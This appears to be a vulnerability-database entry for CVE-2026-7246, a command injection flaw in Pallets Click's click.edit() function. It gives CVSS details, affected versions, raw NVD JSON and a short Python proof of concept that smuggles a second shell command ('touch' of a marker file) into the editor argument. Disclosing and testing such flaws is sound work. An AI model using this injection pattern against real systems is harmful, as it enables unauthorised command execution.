Security Vulnerability Report
中文
CVE-2026-7246 CVSS 7.2 HIGH

CVE-2026-7246

Published: 2026-04-30 14:16:36
Last Modified: 2026-04-30 16:39:47

Description

Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:palletsprojects:click:*:*:*:*:*:*:*:* - VULNERABLE
Pallets Click <= 8.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import click # Simulating the vulnerable function call # In a real scenario, the 'editor' argument might come from user input @click.command() @click.option('--editor', help='Editor to use') def vulnerable_edit(editor): if editor: # If the editor string is not sanitized, command injection is possible # Example payload: 'touch /tmp/pwned; #' click.edit(editor=editor) else: click.edit() if __name__ == '__main__': # Proof of Concept: Attempting to inject a command # This simulates an attacker providing a malicious editor string import sys # The payload creates a file as proof of execution payload = 'vim; touch /tmp/CVE-2026-7246-PWNED; #' print(f"Running PoC with payload: {payload}") vulnerable_edit(editor=payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7246", "sourceIdentifier": "[email protected]", "published": "2026-04-30T14:16:36.433", "lastModified": "2026-04-30T16:39:47.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:palletsprojects:click:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.3.3", "matchCriteriaId": "A891BBD6-CEE8-4840-8EF4-1047EF26D87C"}]}]}], "references": [{"url": "https://github.com/pallets/click/releases/tag/8.3.3", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}